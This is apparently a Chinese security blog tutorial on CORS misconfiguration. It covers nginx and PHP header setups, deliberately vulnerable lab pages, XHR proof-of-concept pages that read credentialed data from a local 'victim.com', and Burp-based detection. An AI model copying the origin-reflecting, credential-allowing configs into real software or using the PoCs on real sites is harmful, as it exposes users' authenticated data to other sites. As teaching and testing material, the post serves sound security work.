我对于CORS配置不当漏洞的认识一直处于比较模糊的状态,不是很清楚如何判定存在这个漏洞,如何去利用这个漏洞造成危害。这类型的漏洞在SRC中一般是中危的,非常适合拿来刷排名,所以笔者这里以此进行了一番研究和总结。
CORS全名跨域资源共享(Cross-Origin-Resourece-sharing),该机制主要是解决浏览器同源策略所带来的不便,使不同域的应用能够无视同源策略,进行信息传递。
引用一张图能很好地说明CORS机制的作用
那么这个机制是怎么发挥作用的呢?
CORS的标准定义是:通过设置http头部字段,让客户端有资格跨域访问资源。通过服务器的验证和授权之后,浏览器有责任支持这些http头部字段并且确保能够正确的施加限制。
为了更好理解这个过程,我们首先了解下相关的http头部字段
请求头 | 说明 |
---|---|
Origin | 表面预检请求或实际请求的源站URI, 浏览器请求默认会发送该字段 |
Access-Control-Request-Method | 将实际请求所使用的HTTP方法告知服务器 |
Access-Control-Request-Headers | 将实际请求所携带的首部字段告知服务 |
响应头 | 说明 |
---|---|
Access-Control-Allow-Origin(ACAO) | 指定允许访问资源的外域URI,对于携带身份凭证的请求不可使用通配符* |
Access-Control-Allow-Credentials | 是否允许浏览器读取response的内容,当用在preflight预检请求的响应中时,指定实际的请求是否可使用credentials |
那么这个机制,具体可以总结为下面这个图片
所有的请求实际上都已经发出了,只不过浏览器解析的时候根据返回的http头部字段来选择性拦截了而已。
这个点我就从网上经典的例子来找的,其实默认这样设置存在很多问题,0x4的时候我会讲相应的攻击思路
我当时google了一下搜索nginx配置跨域CORS)
经典配置一:
location / {
add_header Access-Control-Allow-Origin *;
add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';
add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';
if ($request_method = 'OPTIONS') {
return 204;
}
}
经典配置二:
location / {
add_header Access-Control-Allow-Origin $http_origin;
add_header Access-Control-Allow-Methods GET,POST,OPTIONS;
add_header Access-Control-Allow-Credentials true;
add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;
add_header Access-Control-Max-Age 1728000;
}
比较合理的配置方案(加上白名单检查):
location / {
# 检查域名后缀 这里进行了检查
if ($http_origin ~ \.test\.com) {
add_header Access-Control-Allow-Origin $http_origin;
add_header Access-Control-Allow-Methods GET,POST,OPTIONS;
add_header Access-Control-Allow-Credentials true;
add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;
add_header Access-Control-Max-Age 1728000;
}
# options请求不转给后端,直接返回204
}
当年某一个SSRF的漏洞,我就是天真的没有设置跨域请求,不熟悉,导致丢失了一血,非常遗憾哇。
1.允许所有源
<?php header("Access-Control-Allow-Origin: *"); ?>
2.允许来自特定源的访问
<?php header('Access-Control-Allow-Origin: '.$_SERVER['HTTP_ORIGIN']); ?>
3.配置多个访问源
<?php $allowed_origins = array( "http://www.example.com" , "http://app.example.com" , "http://cms.example.com" , ); if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)){ @header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']); } ?>
还有相当多的方式,具体可以参考Nginx 通过 CORS 实现跨域
这里我自己写一个简单的存在CORS漏洞的服务为例子展示如何对此进行攻击(其实没办法攻击)。
<?php header("Access-Control-Allow-Origin: *"); $value = "mySecretIs123456"; setcookie("pass",$value, time()+3600*24); ?> <!DOCTYPE html> <html> <head> <script> window.onload = function(){ document.body.innerHTML = document.cookie; } </script> </head> <body> </body> </html>
可以看到我们直接把cookie回显给了页面,当时我挖掘腾讯的时候就遇到这样的一个例子
但是没想着怎么去利用,然后给忽略了,不过当时好像也没开cors配置,毕竟是个test站点。
回到正题上,我们该怎么对此进行攻击呢。
这里我们编辑下/etc/hosts
,增加两条解析记录
127.0.0.1 victim.com
26 127.0.0.1 attack.com
exp.php:
<html> <head> <script type="text/javascript"> window.onload = function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true); xhttp.send(); } </script> </head> <body> <textarea id="demo"></textarea> </body> </html>
然后我们假装受害者去访问下:
结果返回的是html的源代码,没办法获取dom之后的结果,这其实也在我的意料之中因为浏览器不会去解析资源内容再返回,欢迎师傅们谈下这类型的信息泄漏有啥利用的思路。
这里分为两种情况:
第一种是无需cookie的,这种一般可以利用在比如限制了ip的waf,让管理员去请求敏感页面获取相应资源。
漏洞代码如下:
apiVuln.php
<?php header("Access-Control-Allow-Origin: *"); header("content-type:application/json"); $info = array('user'=>'xq17', 'pass'=>'123456'); echo json_encode($info); //json_encode对变量进行 JSON 编码
攻击代码如下:
<html>
<head>
<script type="text/javascript">
window.onload = function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML =
alert(this.responseText);
}
};
xhttp.open("GET", "http://victim.com:8888/cors/apiVuln.php", true);
xhttp.send();
}
</script>
</head>
<body>
<textarea id="demo"></textarea>
</body>
</html>
第二种是发送cookie利用登陆信息,然后请求鉴权的api获取敏感数据。
vuln.php
<?php header("Access-Control-Allow-Origin: *"); session_start(); if(@$_SESSION["user"] == "admin"){ //输出敏感信息 $info = array('user'=>'xq17', 'pass'=>'123456'); echo json_encode($info); }else { echo "login fail!"; echo '<a href="login.php">登陆</a>'; } ?>
login.php
<?php session_start(); $_SESSION["user"]="admin"; header("Location:vuln.php");
这里我们准备下两个页面,当我们尝试利用这样的poc来攻击的话
<html> <head> <script type="text/javascript"> window.onload = function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true); xhttp.withCredentials = false; xhttp.send(); } </script> </head> <body> <textarea id="demo"></textarea> </body> </html>
我们访问 http://victim.com:8888/cors/vuln.php,然后点击登陆获取到登陆信息,然后我们假装成受害者点击`http://attack.com:8888/cors/exp.php`
可以看到这个接口是需要登陆信息的
但是如果我们修改vuln.php
成这样子呢
header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Credentials: true");
可以看到cookie
的确发送了,也返回了对应的json数据,但是却没有被脚本接收到,因为脚本接收到数据得先问下浏览器支持不,我们可以看下console就可以发现被禁止的原因了,因为
header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Credentials: true");
这样开启的跨域肯定是不安全的,所以浏览器直接ban掉了这种配置方式。
这样也是不行的,我们再尝试修改成:
header("Access-Control-Allow-Origin: http://attack.com:8888"); header("Access-Control-Allow-Credentials: true");
这样便可以了获取到敏感信息了。
最后小结一下:
关键判断是否存在cors漏洞
公有资源:Access-Control-Allow-Origin:*
授权信息:Access-Control-Allow-Credentials: true
同时 Access-Control-Allow-Origin:
不为*
如何有效的探测cors漏洞呢,最简单的就是我们伪造一个xhr的请求去测试下能获取信息不,xhr
请求有一个很明显的特征字段:Origin
,这个也是浏览器判断是否同源的根据。
burp是支持简单的cors漏洞扫描的
但是误报率很高,而且也需要自己去手工验证,这里我比较推荐
就是我们自己寻找一些关键的api接口,然后我们让请求自动添加上Origin
然后我们在看返回包,来判断这样的话不但准确而且很方便。
这个实现我们可以用burp的替换功能来实现
proxy->options->Match and Replace->Add
勾选上这个即可。
关于cors的攻击点其实不是很多,我感觉还是这种错误配置最典型,至于那些正则匹配失误的情况,平时可以多加留意,欢迎师傅能介绍一些怎么让burp去自动fuzz正则错误的情况,这个其实可以用burp插件解决,但是我没有找到,如果有师傅知道可以告诉下我,我就不重复造轮子了,不然到时候我就自己写一个然后实战记录下。
关于一些错误配置的例子可以参考:错误配置CORS的3种利用方法